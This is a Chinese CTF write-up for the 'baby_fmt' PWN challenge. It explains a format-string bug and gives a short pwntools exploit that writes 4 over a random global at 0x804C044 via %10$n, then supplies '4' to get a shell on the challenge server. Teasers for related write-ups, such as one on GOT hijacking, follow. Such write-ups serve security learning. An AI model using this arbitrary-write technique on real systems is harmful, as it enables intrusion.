baby_fmt

1000x_ 2026-06-09 14:08:43 16 0 返回题目详情


分析伪代码

程序一开始会读取/dev/urandom文件中内容并放到全局变量&dword_804C044中,即读取4字节的随机数存放到0x0804C044,并且存在格式化字符串漏洞,最后要求用户再输入一次密码,随后对输入的字符串转换为整数进行if逻辑判断。



格式化字符串偏移为10


所以可以利用格式字符漏洞对内存完成修改

payload = p32(target) + b"%10$n"

其中会以小端序的形式发送\x44\xC0\x04\x08%10$n,并存储在buf缓冲区,随后程序会调用printrf打印缓冲区上的内容,当打印到%10$n时,会将当前以输入的字节数(也就是4)存放到第十个参数的未知,也就是0x804C044,因此,printf会将0x804C044内存中写入4,在之后的最后一次输入中,用户仅需输入4即可GetShell


Exploit:

from pwn import *
p = remote("49.232.142.230", 19321)
target = 0x804C044
payload = p32(target) + b"%10$n"
p.sendlineafter(b"your name:", payload)
p.sendlineafter(b"your passwd:", b"4")
p.interactive()

分类:PWN
image
作者:1000x_

15

提交

0

收入

相关WriteUP

  • Format.INI

    1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...

    • PWN
    • 2年前
  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 2年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
问题反馈